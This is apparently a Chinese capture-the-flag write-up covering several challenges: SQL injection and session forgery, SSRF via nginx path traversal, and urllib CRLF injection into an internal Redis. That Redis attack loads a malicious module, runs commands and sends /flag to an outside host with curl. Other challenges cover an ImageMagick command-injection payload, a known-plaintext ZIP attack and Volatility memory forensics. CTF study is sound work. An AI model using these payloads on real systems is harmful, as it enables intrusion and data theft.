立志成为admin的男人
通过注册,提示要admin。

登陆处存在
sql注入:
用
sqlmap注出管理员账号:
这里没有权限读取
index.php,那肯定也没有权限能写webshell:

扫描可以得到一个
test.php,里面打印当前的用户名:
这里可以通过注入漏洞,往
/tmp目录下的session文件中写入,来伪造自己admin的身份。
修改
session,访问index.php就可以得到flag:
用Python写的一个网站 好像还没有写完?
首页有个ssrf漏洞,但是能通过http协议访问。
可以看一下请求头,是nginx,并且网站是用python/3.6.5写的:

存在
nginx目录穿越漏洞,可以得到源码:/static../main.py
python的urllib出现过头注入,可以同来攻击内网ssrf,来测试一下:

成功注入头部,存在
urllib头注入漏洞。这里攻击内网
redis,用到了主从rce,github上有开源的脚本。先开启恶意的
redis服务器:
然后设置
redis的主服务器为恶意redis服务。
auth password123 //
*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a
SLAVEOF 192.168.21.1 7789 //
*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$12%0d%0a192.168.21.1%0d%0a$4%0d%0a7789%0d%0a
CONFIG SET dbfilename exp.so //
*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$6%0d%0aexp.so%0d%0a
发送数据:
curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a%0d%0a*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$12%0d%0a192.168.21.1%0d%0a$4%0d%0a7789%0d%0a%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$6%0d%0aexp.so%0d%0a'

加载恶意模块:
auth password123 //
*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a
MODULE LOAD ./exp.so //
*3%0d%0a$6%0d%0aMODULE%0d%0a$4%0d%0aLOAD%0d%0a$8%0d%0a./exp.so%0d%0a
SLAVEOF NO ONE //
*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$2%0d%0aNO%0d%0a$3%0d%0aONE%0d%0a
发送数据:
curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a%0d%0a*3%0d%0a$6%0d%0aMODULE%0d%0a$4%0d%0aLOAD%0d%0a$8%0d%0a./exp.so%0d%0a%0d%0a*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$2%0d%0aNO%0d%0a$3%0d%0aONE%0d%0a%0d%0a'`

然后执行命令,因为无回显,所以利用curl命令把flag文件传输出去:
auth password123 //
*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a
system.exec 'curl -F "file=@/flag"
http://192.168.21.1:7789' //
*2%0d%0a$11%0d%0asystem.exec%0d%0a$46%0d%0acurl%20-F%20%22file=@/flag%22%20http://192.168.21.1:7789%0d%0a
发送数据:
curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a%0d%0a*2%0d%0a$11%0d%0asystem.exec%0d%0a$46%0d%0acurl%20-F%20%22file=@/flag%22%20http://192.168.21.1:7789%0d%0a'


最后删除恶意模块,关闭恶意模块:
auth password123 //
*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a
CONFIG SET dbfilename dump.rdb //
*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$8%0d%0adump.rdb%0d%0a
system.exec 'rm ./exp.so' //
*2%0d%0a$11%0d%0asystem.exec%0d%0a$11%0d%0arm%20./exp.so%0d%0a
MODULE UNLOAD system //
*3%0d%0a$6%0d%0aMODULE%0d%0a$6%0d%0aUNLOAD%0d%0a$6%0d%0asystem%0d%0a
发送数据:
curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$8%0d%0adump.rdb%0d%0a%0d%0a*2%0d%0a$11%0d%0asystem.exec%0d%0a$11%0d%0arm%20./exp.so%0d%0a%0d%0a*3%0d%0a$6%0d%0aMODULE%0d%0a$6%0d%0aUNLOAD%0d%0a$6%0d%0asystem%0d%0a%0d%0a
真实的环境中,充满了未知,漏洞与函数的拼接,能否绕过?
打开,需要爆破得到账号密码admin/1qaz@WSX。(吐槽:这TM谁爆得出来?)

登陆后有个上传点,源码有串
base64提示:
这里就利用
imagemagick+getimagesize来执行代码。参考链接payload:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"|"`id`)'
pop graphic-context
#define xlogo_width 200
#define xlogo_height 200
最后找下flag。

注入真的好难!!!
分析数据包,可以看到一堆sql盲注的流量。

参照土司机的博客,可以提取出最后的
url:t.cn/Ai8PhqSb和passwd:bkis。得到一个加密的压缩包。
翻找流量包,可以看到一个
readme.7z:
看到两个压缩包都有
readme.txt,所以是明文攻击。
把
readme.7z解压,再用7z压缩工具把readme.txt压缩成zip形式的。
解压就可以得到最后的
flag。
google语法真不错!!!
给了一个系统镜像,首先分析下版本:
$ volatility -f xp.raw imageinfo

架构应该是
WinXPSP2x86。查看下进程:
$ volatility -f xp.raw –profile=WinXPSP2x86 pslist

可以查看下桌面文件:
$ volatility -f xp.raw –profile=WinXPSP2x86 filescan | grep 桌面

有个
360.jpg,提取一下:
$ volatility -f xp.raw –profile=WinXPSP2x86 dumpfiles -D ./ -Q 0x000000000215f340

再去查看下
ie浏览器历史:
$ volatility -f xp.raw –profile=WinXPSP2x86 iehistory

搜索下可以发现个
github仓库:
看下提交记录,提示了
F5,那就是F5隐写了。
解密:
$ java Extract 360.jpg -p 360CTFisSOeasy
得到out.txt,里面就是flag。